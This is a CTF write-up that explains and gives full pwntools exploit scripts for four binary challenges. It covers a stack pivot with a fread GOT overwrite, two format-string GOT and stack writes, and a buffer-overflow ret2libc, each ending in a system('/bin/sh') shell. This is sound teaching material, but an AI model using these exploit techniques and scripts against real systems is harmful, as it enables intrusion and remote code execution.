Prologue

Recovering. I solved 3 pwn challenges in the game and spent 20 hours on the 4th challenge(stuff). Also, the 4th one teaches me a lot. It’s a good challenge.

4th- Stuff

Analysis

This is a classic stack challenge, which overflows 0x10 bytes. We can overwrite the stored RBP and the return address. So stack pivot is easy to get to exploit since there is a buffer for stdin. But we can’t leak the libc-base address easily since there are only limited gadgets:

leave ; ret
pop rbp ; ret

It’s a big issue that we don’t have the ability to set rdi.

Solution

I didn’t solve it in the game but was inspired by the official solution. (Just take a peek)

And I found that there is one thing I didn’t get in the game. That’s modifying the GOT of fread. I wanted to keep this as a way to read my second payload and ignore the fact, we can control RDI by modifying the GOT of fread.

The gadget is at 0x40120F, which gets the RDI from [RBP - 0x10] (We can control RBP by “pop rbp”).

If we don’t modify the GOT of fread, the big issue is that this gadget would call fread, which would reset our RDI.

After peeking at the official WP, I know that we can sacrifice fread to get the ability to control RDI.

You can modify the GOT of fread to any gadget such as “pop ?, ret” to pop out the “return address” in main, so I choose the simple one “pop rdi, ret”

After that, the challenge is not such hard. We can ROP to call printf to leak the libc-base and use scanf to get our second input.

ALL - In - One

  1. Stack Pivot to change the stack to stdin-buffer
  2. Modify fread-got (Amazing!)
  3. Leak Glibc base
  4. Scanf to get the second payload
  5. Get the shell

Exp

from pwn import *
# context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
libc  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p     = process('./stuff')
# p = remote("lac.tf",31182)
ret     = 0x40101a
leave   = 0x401234
printf  = 0x401030
rbp     = 0x40115d
magic   = 0x40120F
got     = 0x404030
bss   = 0x00405000-0x400

p.sendafter(b"ff\n",b"0000001 0000000000000000000000002")

p.readuntil("eak: ")
base = int(p.readline()[:-1],16)-0x1010
warning(hex(base))

pay = flat([
    got+0x10, magic, base, leave,
    1 , rbp, base+0x48, leave,
    rbp, got+0x20+0x10, magic, ret, printf,
    rbp, base+0x210, magic, 0x401040, rbp, bss-8,leave
    ]+[bss]*0x10
    )
pay = pay.ljust(0x200,b'\1')+b"%6$s%8$s%9$s%10$s%11$s%12$s\0"
p.send(pay)
p.readuntil("ff\n")
base = u64(p.read(6)+b'\0\0')-(0x7ffff7c72780-0x7ffff7a58000)
log.warning(hex(base))
libc.address = base
for x in range(4):
  p.sendline(p64(0xdeadbeef))
p.sendline(flat([base + 0x000000000002a3e5,libc.search(b"/bin/sh").__next__(),libc.sym['system']]))
p.interactive()

Simple Pwn Challenges

rickroll

Vul: Format String. Too easy to intro.

from pwn import *
# context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def recom(a,b):
    if a>b:
        return a-b
    else:
        return a+0x10000-b

p=process('./rickroll',env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("lac.tf",31135)
ru 		= lambda a: 	p.readuntil(a)
r 		= lambda n:		p.read(n)
sla 	= lambda a,b: 	p.sendlineafter(a,b)
sa 		= lambda a,b: 	p.sendafter(a,b)
sl		= lambda a: 	p.sendline(a)
s 		= lambda a: 	p.send(a)
got =   0x000000000404018
ret =   0x0000000000401016
rdi =   0x000000000040125b
puts=   0x401030
main=   0x401152
target= 0x40406C
rop =   [rdi,got,puts,main]
pad =   main-0xe
# gdb.attach(p,'b *0x4011e7')
pay =   f"%22$n%39$p%{pad}c%23$n".encode().ljust(0x80,b'\0')+flat([target,got,0x000000000404028])
sla(": ",pay)
ru(b' run around and ')
base = int(p.read(14),16)-0x23d0a#-0x2035e0
warning(hex(base))
input()
# 

adr =   0x00000000000d0ea3+base
adr =   0x00000000000488b8+base
p1  = adr & 0xffff
p2  = (adr & 0xffffffff)>>0x10
p3  = (adr & 0xffffffffffff)>>0x20
p3  = recom(p3,p2)
p2  = recom(p2,p1)
# libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
libc = ELF("./libc-2.31.so")
libc.address = base
pay =   f"%{p1}c%22$hn%{p2}c%23$hn%{p3}c%24$hn".encode().ljust(0x50,b'\0')\
    +flat([rdi,libc.search(b"/bin/sh\0").__next__(),libc.sym['system'],0,0,0])+flat([got,got+2,got+4])
sl(pay)
p.interactive()

rut-roh-relro

Vul: Format String. Too easy to intro.

from pwn import *
# context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
def recom(a,b):
    if a>b:
        return a-b
    else:
        return a+0x10000-b

# p=process('./rickroll',env={"LD_PRELOAD":"./libc-2.31.so"})
# p = process("rut_roh_relro",env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("lac.tf",31134)
ru 		= lambda a: 	p.readuntil(a)
r 		= lambda n:		p.read(n)
sla 	= lambda a,b: 	p.sendlineafter(a,b)
sa 		= lambda a,b: 	p.sendafter(a,b)
sl		= lambda a: 	p.sendline(a)
s 		= lambda a: 	p.send(a)
got =   0x000000000404018
ret =   0x0000000000401016
rdi =   0x000000000040125b
puts=   0x401030
main=   0x401152
target= 0x40406C
rop =   [rdi,got,puts,main]
pad =   main-0xe
# gdb.attach(p,'bof 0x1201')
pay =   f"%71$p#%68$p".encode().ljust(0x80,b'\0')+flat([target,got,0x000000000404028])
sla("?\n",pay)
ru(b':\n')
base = int(p.readuntil("#")[:-1],16)-0x23d0a#-0x24083
warning(hex(base))
stack = int(p.read(0xe),16)-0x100+0x18
warning(hex(stack))
input()
libc = ELF("./libc-2.31.so")
libc.address = base
rdi =   0x0000000000023796+base
p1  = rdi & 0xffff
p2  = (rdi & 0xffffffff)>>0x10
p3  = (rdi & 0xffffffffffff)>>0x20

bin = libc.search(b'/bin/sh\0').__next__()
q1  = bin & 0xffff
q2  = (bin & 0xffffffff)>>0x10
q3  = (bin & 0xffffffffffff)>>0x20

system = libc.sym['system']
r1  = system & 0xffff
r2  = (system & 0xffffffff)>>0x10
r3  = (system & 0xffffffffffff)>>0x20

r3  = recom(r3,r2)
r2  = recom(r2,r1)
r1  = recom(r1,q3)
q3  = recom(q3,q2)
q2  = recom(q2,q1)
q1  = recom(q1,p3)
p3  = recom(p3,p2)
p2  = recom(p2,p1)

pay = f"%{p1}c%22$ln%{p2}c%23$hn%{p3}c%24$hn%{q1}c%25$ln%{q2}c%26$hn%{q3}c%27$hn%{r1}c%28$ln%{r2}c%29$hn%{r3}c%30$hn".encode().ljust(0x80,b'\0')\
    +flat([stack,stack+2,stack+4,stack+8,stack+10,stack+12,stack+0x10,stack+0x12,stack+0x14])
sla("?\n",pay)

p.interactive()

redact

Vul: Buffer Overflow. Too easy to intro.

from pwn import *
# context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
# p= process('./redact')
def exp(x):
    # p = process("redact",env={"LD_PRELOAD":"./libc-2.31.so"})
    p = remote("lac.tf",31281)
    # gdb.attach(p,"""
    # b *0x4013FF
    # b *0x40149a
    # """)
    main = 0x4011EE
    ru 		= lambda a: 	p.readuntil(a)
    r 		= lambda n:		p.read(n)
    sla 	= lambda a,b: 	p.sendlineafter(a,b)
    sa 		= lambda a,b: 	p.sendafter(a,b)
    sl		= lambda a: 	p.sendline(a)
    s 		= lambda a: 	p.send(a)

    rdi = 0x000000000040177b
    rsi = 0x0000000000401779# r15
    got = 0x400518
    puts = 0x4010b0
    out = 0x4040c0
    p1 = b"X"*0x3
    p2 = b"x"*(0x28+0x1d)+flat([rdi,out,rsi,got,0,puts,0x401120])
    sla(": ",p1)
    sla(": ",p2)

    sla(": ",str(0x20-0x1d).encode())
    p.readline()
    base = u64(p.read(0x8))-(0x7ffff7fb23d0-0x7ffff7bcc000)+x*0x1000
    warning(hex(base))
    # libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
    libc = ELF("./libc-2.31.so")
    libc.address =base
    ret = 0x0000000000401016
    p2 = flat([ret,rdi,libc.search(b"/bin/sh\0").__next__(),libc.sym['system']])
    # p2 = flat([ret,rdi,0x00400001,libc.sym['puts']])

    sla(": ",p2)
    sla("e stuff to redact: ",str(0x48).encode())

    # # sla(": ",str(0x20-0x1d).encode())
    try:
        p.sendline("cat ./f*")
        print(p.read())
        input()
        p.interactive()
    except:
        p.close()
for x in range(-0x100,0x100):
    exp(x)

Summary

I learned a lot from the challenge stuff cuz I didn’t have much experience dealing with stdin buffer. Even now, after debugging it for 20 hours, it’s a litter weird for me. Also, I learned that we can’t limit ourselves:

Thinking about things people never thought would find a new way to exploit.